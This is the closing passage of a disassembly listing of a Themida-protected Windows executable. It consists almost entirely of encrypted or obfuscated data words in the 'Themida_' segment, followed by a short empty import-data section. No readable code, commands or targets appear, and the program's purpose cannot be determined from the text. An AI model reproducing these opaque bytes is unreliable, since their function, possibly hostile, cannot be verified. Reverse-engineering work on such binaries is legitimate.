		dd 589h, 7E36BA00h, 0BE5A7895h,	4E76351Eh, 0E8DF8B66h
		dd 14h,	9FC65BA7h, 0D6612EDh, 6AA7781Dh, 93998E26h, 995C92AAh
		dd 816658FCh, 0F8DE4CBh, 582h, 0DA816600h, 0CB814BB1h
		dd 22C90254h, 0CDD78166h, 0E8F88B71h, 0Ah, 0A770987Bh
		dd 0F4C3ED2h, 0B860AE38h, 14C1C3D6h, 9E9h, 2F44A100h, 5ED28734h
		dd 58616E78h, 0B860A5B6h, 715343F0h, 66616060h,	310AEB81h
		dd 0EA816161h, 34C0B20Eh, 8E8h,	0D0461300h, 37616078h
		dd 0F6B70FB6h, 8B665159h, 0F18A5BFEh, 0F6033B5h, 0E961D3BFh
		dd 14h,	8691FCECh, 4A9CDC5Dh, 3E442A1Ah, 45CC0A4Eh, 0D01355B0h
		dd 0FCBD480h, 0A84h, 4850F00h, 66000000h, 66E62DBEh, 0F60DE8Bh
		dd 83h,	0CE95600h, 94000000h, 1EB1D83Ah, 6FA537E6h, 5E32D924h
		dd 0FE861h, 0F4A50000h,	891926CFh, 1F30917Eh, 2971A446h
		dd 58C38BF9h, 56D0BF0Fh, 0C948BE66h, 18D0F5Bh, 0FC000000h
		dd 0BFC8BE66h, 0E5DB8166h, 0D380F5A4h, 665CB35Bh, 4EFCD781h
		dd 0FE4E12BAh, 8BD08B3Eh, 0DE960FBh, 25000000h,	1D9C0588h
		dd 654AA9B1h, 0AD4AE1BBh, 8DC18061h, 0E8F8BF0Fh, 9, 0A4D634A0h
		dd 60C8081h, 2BB603Ch, 6645CD18h, 0B15BF181h, 81665E61h
		dd 0E81205CBh, 12h, 76AC6A75h, 905A9309h, 75E63C45h, 0E51BF325h
		dd 0D0812013h, 0E658BD3h, 0B4CA8A5Ah, 44B953D7h, 590FA54Dh
		dd 0E9D8BF0Fh, 7, 0F4D807A8h, 8B68B5F0h, 6E9C3h, 3D4A0000h
		dd 6A070A8Bh, 0CE9h, 2490D300h,	74C13858h, 2B540FB8h, 0C1EC80AEh
		dd 0E8FCF28Bh, 12h, 38E0F099h, 90AA19B9h, 0CBCCF0F5h, 0C33025A0h
		dd 6660F061h, 5961CB8Bh, 4A3D0CB8h, 52D6811Bh, 8B595EA0h
		dd 0E9CF8AC3h, 5, 0E6F87481h, 8E9B9h, 1F5E0000h, 392E53E4h
		dd 66500056h, 0F59D08Bh, 880FCEB7h, 2, 0D88A35B2h, 30B2DAB4h
		dd 607BC881h, 0FE9024Eh, 0E4000000h, 4A4AB5Ch, 26640E69h
		dd 7A7D18D0h, 81669A6Eh, 0BACD09E2h, 24DBBBAFh,	0E965F080h
		dd 13h,	910F765h, 8C0E41A5h, 3F3E9766h,	4720BF88h, 0E9569F69h
		dd 0Ch,	1F0C877Eh, 9614E582h, 0A628FD5Ch, 13D08166h, 0BE98Bh
		dd 81D10000h, 4325452Bh, 85F0A417h, 0D48050A5h,	80515F0Fh
		dd 0F5F1DC9h, 0C8Eh, 68A0F00h, 0F000000h, 8Bh, 0B9E38100h
		dd 0F51F052h, 0DF80D3B7h, 9C9ABB1Ch, 0E96057BCh, 0Ah, 76E22D69h
		dd 7ABF02B7h, 77B54D28h, 0EEB15161h, 0C38B665Bh, 8B66C28Bh
		dd 0AE9F2h, 0B67A0000h,	5F180226h, 40A3EDD6h, 35CA2BAh
		dd 0E9816623h, 0E3812411h, 586205D6h, 9E9h, 7ECE7D00h
		dd 8389B488h, 0F38119F3h, 43DABB59h, 8AF18B66h,	0C1BF0FF5h
		dd 0C9816657h, 815B209Fh, 1BBECCC7h, 66DEBF66h,	0CE90173h
		dd 0CF000000h, 0BAAAEB53h, 97BF95CCh, 0F581B0D1h, 54DF81FCh
		dd 0BF668BDBh, 238A6B4Bh, 13E9F78Bh, 1D000000h,	1C40C24Bh
		dd 0F7A30A5Fh, 3A468D6Eh, 9B5A6402h, 7E927D0h, 0EA000000h
		dd 9CB89B42h, 0EE96B46h, 4B000000h, 0E40D375Eh,	50E10109h
		dd 0A6B43F5Ah, 0F904BE16h, 0FC6038CAh, 56F68161h, 0F5922FCh
		dd 0C1BFCEBFh, 8113611Dh, 3771CFF6h, 52C68014h,	0A02DD181h
		dd 66F8592Ah, 0B70FD68Bh, 0C08166FEh, 8B66B19Fh, 3CF80DEh
		dd 0E9DE8B66h, 10h, 0A3C25428h,	759CDD2Fh, 0E4490693h
		dd 25F7E0D5h, 0DCF5DF81h, 0FC6012A7h, 0C941E681h, 0F611776h
		dd 86h,	7E800h,	72FF0000h, 2CC5DECBh, 0CAB866C8h
		dd 0D8815EDBh, 6DEC34E7h, 74C1B966h, 0EE8h, 34E42200h
		dd 858A783Ah, 0EF2BE377h, 0BE809A7Bh, 51DBD76Ah, 0C1BF0F5Eh
		dd 0DE9h, 0B89D2200h, 128CDA3Eh, 545CB6Fh, 870F6377h, 3
		dd 66D6BF0Fh, 80448DBEh, 8E8E2E1h, 8D000000h, 352E37E9h
		dd 5160DFF4h, 10E8h, 0BB1D4E00h, 0D0EE3279h, 0A621C810h
		dd 0B095CFB9h, 5E5A5905h, 0FF08B66h, 0B3FCC6BFh, 7FB866CBh
		dd 65DD80FEh, 0E9C3BF0Fh, 0Dh, 6E0BEB1h, 254FC7C8h, 0A87921C5h
		dd 9E914h, 2B080000h, 1C780C52h, 0E9040DD7h, 11h, 333A91A8h
		dd 7C64CCFBh, 0C7BE2E7Eh, 60DCE1D5h, 1BC2B9A5h,	8B6664BFh
		dd 0F5EEB0CFh, 53F98B66h, 0E2816660h, 0F681E3D5h, 4F29F02Dh
		dd 0B8665B61h, 13E99780h, 0AF000000h, 91520E6Fh, 0E25BE1Ch
		dd 977CCBE8h, 61F407C4h, 2CBE4B83h, 0E80E5B2Dh,	0Fh, 5BDC0282h
		dd 47D953E5h, 18269C98h, 0E9FC0303h, 0Ch, 4E937DF3h, 4C64DCC5h
		dd 586D344Dh, 0E9F38B5Fh, 0Ch, 1AA84F34h, 6D06EF80h, 820F36E2h
		dd 0F8DE8B66h, 5E9h, 0D13A3F00h, 0DE81EDDh, 44000000h
		dd 481F52C4h, 0D7B183E7h, 0F990FEC8h, 0EE81665Fh, 53F9A525h
		dd 0CB805FFCh, 0C7BF0F64h, 10E8h, 93204B00h, 0DBECCC03h
		dd 1673609Ah, 7B14B8E3h, 10E85809h, 1D000000h, 59FB0EF6h
		dd 0FD812B6Dh, 4D5419BBh, 0E80EE3ACh, 6, 376B748Ah, 1BBBB890h
		dd 591A6FE7h, 57C4B75Bh, 58C0Fh, 81660000h, 5850B2F7h
		dd 92BB66F8h, 1FF5806Ah, 0E9FC5952h, 0Dh, 0A4BFEC30h, 43025398h
		dd 0CC61C74Ah, 8E8EAh, 0CA650000h, 4C7EAA07h, 830F0ECFh
		dd 5, 92D38166h, 8B665B1Ch, 66C18AD8h, 0C15CCB81h, 60F38B66h
		dd 0AE8h, 0BE208000h, 672782C1h, 5FFA6F9Bh, 8FF08166h
		dd 0BE8612Fh, 4A000000h, 1E0C789Ch, 0E8E4661Bh,	81605D31h
		dd 9945C2D2h, 815A6136h, 3EECE7C3h, 8B66F83Fh, 890F52F8h
		dd 3, 5927E280h, 8161FC60h, 4531B5E9h, 0AE95757h, 23000000h
		dd 0A179989Ah, 43B27637h, 8E0F5F3Ah, 0
		dd 66DEB70Fh, 0ABBBC181h, 55F2B866h, 8BC28B66h,	5B5260C3h
		dd 79BE6661h, 57DF812Ch, 665AF343h, 900ACE81h, 2840F53h
		dd 8A000000h, 9E85BD0h,	7B000000h, 3A1CED59h, 0A0096590h
		dd 0F7F5E981h, 815E16E3h, 59F95ED0h, 830F5341h,	6, 1793D081h
		dd 0E95904C8h, 7, 0B2A89780h, 52701D55h, 37F78166h, 0E8F55B1Fh
		dd 9, 32E1931Eh, 0C5692D66h, 0C28B587Dh, 81BA6660h, 595360D1h
		dd 6161DA8Ah, 0D7D08166h, 7E43BE95h, 0B70F025Ah, 10E9D8h
		dd 1BEF0000h, 6DACF721h, 755BCC60h, 65AC4F78h, 0F6070EDh
		dd 38Eh, 0C7BF0F00h, 0FE8h, 0D9CA2F00h,	3980F4A8h, 0DF7D860h
		dd 0A1ABC724h, 0E86159F8h, 7, 33FCC626h, 80DFAB15h, 815F0EDEh
		dd 0CF1C70DFh, 8830F47h, 0F000000h, 283h, 81616000h, 5A2065E3h
		dd 0AE913h, 5E500000h, 558B766Eh, 216F28FCh, 0FCA8B66h
		dd 387h, 0C18B6600h, 0F08B3FCh,	585h, 0F6816600h, 6056DD9Dh
		dd 850Fh, 14E90000h, 72000000h,	0B7B6EDFBh, 0D1F2F4C2h
		dd 9BD655C5h, 0B27C78ECh, 6104E821h, 8D0F6059h,	2, 5E52AEB1h
		dd 74B5BE61h, 0BF0F6139h, 53E6B3FAh, 5AC78B66h,	8E9h, 0BEA45500h
		dd 693DB07Dh, 55F4B835h, 850F6156h, 6, 0ED4ECB81h, 0BE95E22h
		dd 7F000000h, 81B48019h, 41E02F30h, 0EB816B83h,	2DAA91FFh
		dd 19850Fh, 14E90000h, 49000000h, 5B5DFFF3h, 51A93604h
		dd 826A2BA0h, 0DD6BAA82h, 8BA96FE0h, 0AE8D1h, 106C0000h
		dd 0F99904D4h, 0D647B7A1h, 0C870Fh, 6E80000h, 0E2000000h
		dd 9F664492h, 605B594Dh, 4BE18166h, 55B9BB96h, 66617A56h
		dd 1799EE81h, 0BB92EF80h, 53ADE26Ch, 9800Fh, 8C0F0000h
		dd 3, 50FA8B66h, 0BB5AFE8Bh, 63C542EEh,	3B7CCA81h, 81FC5210h
		dd 332F36D7h, 5BC3BF0Ch, 7E929A7h, 93000000h, 15ECE685h
		dd 66F54E8Eh, 0ECE6D181h, 6E9h,	0A3DB8300h, 50D1D316h
		dd 11840Fh, 0BE80000h, 0AB000000h, 0AD292D26h, 0C4E6894h
		dd 5B58FF14h, 13E9h, 0BB20E300h, 6FCC5412h, 0EE074E65h
		dd 0FFD89853h, 3B6FC2E8h, 18B0Fh, 66F80000h, 8157C78Bh
		dd 0E98623D7h, 0E9575A3Ch, 10h,	615BA846h, 0BBF2A698h
		dd 400D5BC4h, 8CB9A531h, 0C081665Ah, 0DB80B527h, 6AE881F6h
		dd 535F940Bh, 6059C58Ah, 0CDB2B966h, 38B0Fh, 8B660000h
		dd 0A6B761C8h, 0DE9F9h,	686E0000h, 977ABC58h, 5B7821A2h
		dd 56D38CD1h, 0FE8h, 55B5E700h,	3EF3B246h, 12BB20E3h, 656FCC54h
		dd 7291BE66h, 0F575E58h, 189h, 0F558F500h, 9E9h, 44313100h
		dd 0FB370CBFh, 3B9D930h, 0E8150072h, 14h, 413953C5h, 54C4165Ah
		dd 8CC5F8Eh, 0ADBF2B93h, 36CAEA5Ah, 5B7DE380h, 8E8h, 89139C00h
		dd 99D673A0h, 18A0F8Bh,	0FC000000h, 0E9536059h,	0Dh, 53E6F253h
		dd 0BF575C50h, 567A9539h, 0F515803h, 615FC1BFh,	0F9606160h
		dd 0F61FB8Bh, 584h, 331AB800h, 0E85324B1h, 8, 0D2330388h
		dd 6ED727B2h, 0A7B8BABAh, 0E95F5B35h, 6, 0EFF54929h, 8C0FFFE5h
		dd 6, 5284F181h, 81664F63h, 802F38D2h, 8A60DAE3h, 0BF0F60F0h
		dd 78C680F0h, 0E9606161h, 0Ah, 0AFC11501h, 0E2888CD8h
		dd 0EE8C283h, 0FB000000h, 822A10C2h, 0C7AC91C2h, 0D29FC563h
		dd 820F46h, 59000000h, 0BAC28A61h, 111D8DF3h, 2EBA82B6h
		dd 663FE33Eh, 8AF611B8h, 9E8D9h, 0BDD20000h, 3C3D1515h
		dd 669A45BEh, 0CF8FD181h, 10880F5Ah, 0E8000000h, 7, 77203B9h
		dd 80FDA4C2h, 0E85E49E0h, 7, 7EFBF5BDh,	60E23313h, 0E8C38B66h
		dd 0Ah,	3D59ABDFh, 0A469AAD8h, 615B5712h, 5890F5Bh, 0BE000000h
		dd 417C6594h, 5E9h, 0AD403900h,	0F9F51085h, 219E6ABBh
		dd 0C0B70F03h, 0BBFA8B66h, 6E188EEh, 96E78166h,	58D0F61h
		dd 57000000h, 59CF8B66h, 2800Fh, 0D08B0000h, 4860Fh, 8B520000h
		dd 60605BD6h, 0BE9h, 0AD41E200h, 2F06917Ch, 9522C066h
		dd 8A0Fh, 0F9610000h, 0BAFC8A61h, 0F16C5ADh, 3AA2BB66h
		dd 0FEBF0F60h, 0F884BF66h, 0C78B6661h, 4820Fh, 0B8660000h
		dd 0BA66BD0Ah, 0B70FF927h, 10E9DEh, 0E1F30000h,	32668192h
		dd 0E1C7CA25h, 0D38F561Eh, 9E90D78h, 8A000000h,	0FDE05BB9h
		dd 14A69284h, 10E9h, 0BBD94F00h, 9ECAC265h, 4109241Fh
		dd 0E185A48Ah, 0CFD1BF6Ch, 0DE9202Eh, 93000000h, 0F4FD108Bh
		dd 0B8881287h, 2C4FF843h, 10E8h, 4F162700h, 7A3E587Ah
		dd 0BBCD72A1h, 7F3250C9h, 0CBBF0FB5h, 0F9B70F5Bh, 0BE852h
		dd 6F650000h, 0BD72B164h, 137EFBF5h, 58616033h,	4AF1805Fh
		dd 850Fh, 12E90000h, 9F000000h,	9B0CE30Ah, 8DFFA392h, 4124B4Dh
		dd 11236CFh, 0FC28AD4h,	0E181F0B7h, 6921B33Eh, 7E9h, 5649D800h
		dd 4E35A8D0h, 0B896EC80h, 10DA55DCh, 98D0Fh, 0B2600000h
		dd 0BEBABAE1h, 666163E4h, 0F99CF381h, 5810Fh, 81660000h
		dd 0B234FCE6h, 5E9F852h, 0F5000000h, 0C2638E50h, 7ABF381h
		dd 8060605Ch, 7E908DEh,	81000000h, 0D1122646h, 0F61F065h
		dd 0C181CBB7h, 64BBFF76h, 81C3BF0Fh, 3E3EB8CEh,	0D0B70F5Bh
		dd 860FFE8Bh, 3, 66DBBF0Fh, 12E8DF8Bh, 5A000000h, 1DA8484Ah
		dd 0D9FC7465h, 587C7E5Ah, 0C891E620h, 820FE8h, 58000000h
		dd 2810Fh, 0F18A0000h, 0B7C28B66h, 0C2BF0F09h, 0BFD6BF0Fh
		dd 75F6D3A5h, 0BE9h, 0A9D80200h, 7E8C66B3h, 13C697BEh
		dd 3186FCBAh, 0EE82Eh, 0F99B0000h, 4417E383h, 2857BF55h
		dd 68D09620h, 0E463BE66h, 0C18B665Ah, 0FB1C280h, 48Ah
		dd 0FE8B5700h, 850F605Ah, 0
		dd 7E861h, 0DBC30000h, 0A39D2FE3h, 0F691BE70h, 665918CAh
		dd 0F97D30B9h, 830FF860h, 5, 0BBD38166h, 0CE8061C4h, 12E94Eh
		dd 92F10000h, 0DE0A50B1h, 0F3F449F6h, 0F659D238h, 9B6F2262h
		dd 0DE9h, 8F9DA300h, 82E2090h, 160CF0B5h, 0E78126D6h, 72ADFAB5h
		dd 0B1AAB866h, 0B966F88Ah, 8B66D269h, 0C7BF0FF9h, 8B53FCF9h
		dd 0BB665ED9h, 0F534745h, 81h, 0DB815800h, 44D14987h, 0BBDF8B66h
		dd 239CC290h, 6E9h, 3AF11500h, 0F5075D93h, 0EE8h, 247C8A00h
		dd 0D3108194h, 10DFE46Bh, 663191E1h, 8292EF81h,	1880F58h
		dd 0F5000000h, 8B662AB7h, 138E0FD7h, 0E8000000h, 8, 0DA77B6ADh
		dd 0C8F4509Bh, 0EA324CBFh, 810F5944h, 3, 81D0BF0Fh, 2791BEDFh
		dd 9E842h, 0FFCC0000h, 42F0CB7Ch, 805730D9h, 53583EDBh
		dd 973ABE66h, 0DE859h, 7F890000h, 3E079E42h, 5539FFAFh
		dd 5842F4D2h, 0DAC98160h, 61536203h, 840F53F9h,	3, 5FFEB70Fh
		dd 52CA8B66h, 8E8h, 27546B00h, 0DF5E23D9h, 5F38B7AAh, 1E56BB5Fh
		dd 14E9279Eh, 26000000h, 0F568E1A9h, 0F2AC26B8h, 58317D19h
		dd 0A096F0BFh, 0BB2C8806h, 1C6EE715h, 8B0FF48Ah, 6, 0EBCBCB81h
		dd 9E85B5Ch, 85000000h,	0D1EC2261h, 0EB15F3BFh,	850Fh
		dd 0B5580000h, 0BF0F536Ch, 81665AC1h, 0E906B2F1h, 6, 5B2AFB81h
		dd 8166A67Bh, 0B13A50CEh, 5CF38133h, 0F083383h,	382h, 0C3B70F00h
		dd 6715BB66h, 0B70FF08Bh, 11E8C9h, 90DE0000h, 0B46B4319h
		dd 0FE8A43C2h, 0F17EE9E2h, 662AECADh, 15A5F781h, 32E2815Eh
		dd 805A2EFCh, 24B087CCh, 0C6B70F60h, 11E9h, 4BB8C000h
		dd 2BBAA35Fh, 0A29F5524h, 7D08E659h, 0F61B3EAh,	783h, 1840F00h
		dd 0FC000000h, 0E9D08B66h, 12h,	0B8B469DAh, 86AC9ACFh
		dd 469DB802h, 0B439EC4Ah, 816635C8h, 0FCF23AD9h, 69CE381h
		dd 870F6E7Ch, 0
		dd 0C18BCFB5h, 5E9F5h, 78100000h, 0F974620h, 0A84h, 4850F00h
		dd 66000000h, 0FA749BAh, 589h, 0EE816600h, 0FFC589Bh, 883h
		dd 8B0F6000h, 0
		dd 8E0F5361h, 12h, 0DE9h, 0FF42A600h, 0B64D66D2h, 7EDC37D7h
		dd 805B218Eh, 0BFF5F5EDh, 1C344256h, 66DA8B60h,	1280F381h
		dd 5AEF8161h, 804482A4h, 0C1802DD0h, 0E957F907h, 9, 6B3E2B84h
		dd 0DF894861h, 2FB0592Fh, 0E810Fh, 7E80000h, 0FE000000h
		dd 0B65D50FAh, 5FF89B27h, 70F1C381h, 6BBB0FD8h,	5027CFF3h
		dd 2810Fh, 0F08B0000h, 0D8BF0F5Fh, 0BE9h, 0A5A2F300h, 0E57FE2ECh
		dd 646B534Fh, 58D0Fh, 69B90000h, 8042533Ch, 8B662CD9h
		dd 56E681D8h, 0B455333Dh, 0A2DB8EBh, 816627BDh,	0F1110C3h
		dd 0C8Ah, 81666000h, 66E3EEE7h,	396CE681h, 0BF68161h, 0F81D50AAh
		dd 8BCB8B66h, 0AE953C3h, 0B2000000h, 0B8FC4550h, 9D307FC7h
		dd 3B65B4Eh, 4CACEA81h,	38B57804h, 5E9h, 0F9A44E00h, 840FF586h
		dd 5, 0BBE18166h, 8B6660CEh, 615852D9h,	81569AB7h, 57D572EAh
		dd 8B665A48h, 13E8F3h, 48F90000h, 7172BD31h, 0F4579B2Fh
		dd 1512E2B1h, 3B8C3954h, 74BE66B9h, 13E85957h, 32000000h
		dd 5C16E28Dh, 1A05167Dh, 5E6F3F3Bh, 70E8AF3h, 0F860852Eh
		dd 8E9h, 8314D00h, 493664DEh, 0F5E6134h, 888h, 0D0815600h
		dd 6EB93C8Bh, 8AD98B5Fh, 0FCE8BFEh, 0D82h, 8E900h, 0FB150000h
		dd 9DF3275Eh, 0AE92D1Fh, 8B000000h, 1B400C2h, 559EE0E6h
		dd 81B2B391h, 9BEEADF3h, 0E956FC67h, 11h, 2379AA48h, 4B01933Eh
		dd 51E6E76h, 0F7D29652h, 14E85F27h, 89000000h, 19271494h
		dd 0F0A7AE98h, 811B8FAEh, 0BF3E174Dh, 0F858BC6h, 586h
		dd 3E66BB00h, 605B116Fh, 4800Fh, 0BB660000h, 1AB787B9h
		dd 0C8BE6661h, 0D18B6681h, 0DE9h, 0A81E9B00h, 85261303h
		dd 0C55F5DDBh, 81663953h, 8B72CAD2h, 6645B3DAh,	660B2DBFh
		dd 7E9D78Bh, 67000000h,	0A66D42FCh, 0E5BBBAFDh,	0F605BDBh
		dd 0B70FDFB7h, 6631B3D1h, 0BB65FFBAh, 4F9D507h,	38F0Fh
		dd 0B70F0000h, 2AC081D3h, 537C18B9h, 5947C580h,	6E9h, 0D935C500h
		dd 80C85101h, 0EE835E0h, 93000000h, 0C46D289Ah,	0AAC09EA5h
		dd 3458F021h, 5FD88B0Eh, 0E946B060h, 10h, 9907CFBBh, 0A9C3386Ah
		dd 7C3F52A4h, 9FBB0B8Bh, 0EE8FB961h, 816651D6h,	0F8BA9EFh
		dd 0D58AFFBFh, 0E6E38166h, 11E9F8B3h, 81000000h, 2A8864E8h
		dd 3023EB6Ah, 0CB2266B1h, 4FEA812Eh, 7AD18166h,	18EA81B7h
		dd 813CBBC2h, 1E2953EFh, 840F69h, 80000000h, 0F1811DEEh
		dd 453672FAh, 6E9h, 5A9A5500h, 66898771h, 0DA7C081h, 28D0Fh
		dd 5F500000h, 13E8h, 50399000h,	0DFCB7942h, 58265CF1h
		dd 0A1D2101Ah, 72DF765Ah, 5850D380h, 0BE9h, 0FBA95000h
		dd 1C7296B2h, 0B28F4FD1h, 1F880Fh, 890F0000h, 19h, 14E9h
		dd 3D5A9E00h, 48318D9Bh, 4FA3A2F9h, 0C3EA2DA1h,	2879A163h
		dd 0EA81F8C2h, 5EC54DFEh, 410CBE66h, 58C0Fh, 81660000h
		dd 8BFE01E7h, 0FF5FCF0h, 282h, 0FD38B00h, 0E960DEB7h, 9
		dd 0F922BCE0h, 0CCBD3324h, 899AB9E6h, 51614385h, 0AE8h
		dd 64D95E00h, 0E1CA476Bh, 664B164Bh, 0BECCEF81h, 8A515A5Fh
		dd 8BE59D0h, 804B2633h,	0EA8127EDh, 11AEFB2Dh, 0FCAB70Fh
		dd 480h, 0F4BB6600h, 0C4C981CAh, 8A4D47EFh, 0DF8166CBh
		dd 13E819E1h, 0B8000000h, 0B92D3A9h, 532CB680h,	0FC1FE676h
		dd 0E19872DAh, 0E95B1689h, 7, 6D08766Dh, 60EC96A4h, 5A616051h
		dd 0DB816661h, 81669004h, 0E94A2BE8h, 11h, 0F79C57D3h
		dd 0B024E841h, 0F05D12FAh, 9713C2E4h, 0E9FE8AC5h, 6, 7CE175DAh
		dd 0FF552C5h, 108Eh, 0BE900h, 54490000h, 382E90FDh, 0F1C1FFC7h
		dd 7E80Eh, 52AB0000h, 17F20A8Ch, 11E9DDh, 0A6160000h, 0B2FBA950h
		dd 0D11C7296h, 0C2B28F4Fh, 5AEAD3E1h, 0C2BF0F57h, 0C28A535Eh
		dd 0F18B665Bh, 0E9F0CC80h, 0Fh,	8A19D9DDh, 239DAF6Ch, 0C0495A42h
		dd 0BF3BC6EFh, 5B395C98h, 4BF68166h, 17870F6Bh,	0E9000000h
		dd 12h,	7AB50A61h, 0DD303F76h, 57AEC827h, 4592BD11h, 8E0F9726h
		dd 8, 2820Fh, 61600000h, 50F18160h, 6112275Fh, 0FF5D38Bh
		dd 820FDEB7h, 0
aSs		db '<S',0Dh,0
		align 4
		dd 29A8946Dh, 428C2A12h, 9C8071DDh, 0F515BCEh, 0E958D8B7h
		dd 0Eh,	7DEF1DDAh, 0AB4B3B7h, 0EE76CB6Ah, 12E8E9CCh, 0F1000000h
		dd 0FA428362h, 74E3328Ch, 2C42B542h, 0A8F3E4BFh, 9DBE5B1Eh
		dd 660A33BCh, 0F51D18Bh, 58Dh, 71BDBB00h, 0E9596627h, 0Dh
		dd 8909DC58h, 0E468BA8Eh, 0BA26DEFAh, 12E850h, 7E2D0000h
		dd 819FCA6Dh, 0C7E413E9h, 4BED4EEBh, 0AE6ABF72h, 590BF180h
		dd 9E9h, 1BDF5500h, 613C0E31h, 1AB47C3Bh, 0D843BE66h, 53F88B66h
		dd 0CE8h, 8A979200h, 2826ACBAh,	790D0A69h, 0DBB70F4Ch
		dd 8A0F5B5Ah, 5, 0BCBFFDBFh, 66A2B603h,	52B2EEBFh, 4870Fh
		dd 0B9660000h, 815FEBD2h, 552C0D6h, 0DA8B6622h,	0B9F38166h
		dd 0E9526017h, 0Ah, 5B676743h, 8EAA7786h, 8B5BC155h, 0C2BF61D0h
		dd 66316BA8h, 464CF781h, 0F38BF860h, 0E9D88B61h, 0Bh, 0EF065117h
		dd 9CC805ACh, 0F57FB976h, 13E8F9h, 45460000h, 323AD652h
		dd 2F957C91h, 2142E87Fh, 0FFEB6698h, 7E905h, 9DFB0000h
		dd 52EDDF97h, 12E958CEh, 0A5000000h, 6AFAD8ADh,	978AD21Bh
		dd 0EAA1C2F2h, 0CB20936Fh, 6840FB4h, 60000000h,	0F9CBB70Fh
		dd 80D18061h, 9E9h, 3F66E400h, 4057C720h, 0BEF9701Bh, 5C00A79Eh
		dd 9E64E281h, 13E91EF0h, 6E000000h, 0FC558B76h,	3216F28h
		dd 0E7919FDAh, 3831DD82h, 576049F0h, 58D08B66h,	0CE8h
		dd 0FEB5D600h, 0FDC5E9FBh, 97CD9657h, 0E96158CFh, 0Fh
		dd 2D8795A4h, 0D7829140h, 0AD8EB2A3h, 66F9D433h, 0E9E493B9h
		dd 13h,	93B83829h, 9DDE13DBh, 41EDDCDCh, 6B45F06h, 0E8CC3914h
		dd 0Bh,	6AB7EE43h, 0F64F42D6h, 0BE7F8448h, 4838828Dh, 5283B35Bh
		dd 58F28B66h, 28C0F60h,	57000000h, 2AE08159h, 61045B74h
		dd 10E8h, 44442800h, 9235220h, 0D1492DC6h, 4834CF2h, 10E99Eh
		dd 53A0000h, 0AA157076h, 454EA24h, 0C6AF0F19h, 0E95ED1FBh
		dd 0Bh,	67661CD9h, 0D6868890h, 66FFE6D6h, 4BB5EB81h, 0BB25BF51h
		dd 805A4B81h, 0D281C9DDh, 32814B23h, 0B1E28160h, 0F3D5AC6h
		dd 6661C2B7h, 0DC33D281h, 7800Fh, 66520000h, 24E5D781h
		dd 4894BF5Bh, 888D224Ah, 55h dup(888D425Dh), 0EBh dup(7085A0AAh)
		dd 6687A0AAh, 82h dup(66870D0Ah), 0E973080Ah, 140h dup(0E9730828h)
		db 28h,	8
word_584F4E	dw 0E973h		; DATA XREF: ___:0042BEA8o
		dd 177h	dup(0E9730828h), 37643402h, 2Bh	dup(376434FDh)
		dd 0C26434FDh, 255h dup(0C21D9CA0h), 73h dup(9B3AB38Dh)
		dd 233AB38Dh, 0FCh dup(231B48D8h), 5980A8D8h, 72h dup(5980A814h)
		dd 0CCCCA814h, 0B1Dh dup(0CCCCCCCCh), 0CCCCh, 331h dup(0)
Themida_	ends

; Section 5. (virtual address 0018A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0018A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 58A000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start